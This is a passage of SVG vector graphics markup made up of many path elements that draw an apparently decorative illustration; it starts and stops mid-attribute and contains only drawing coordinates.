d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.15-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,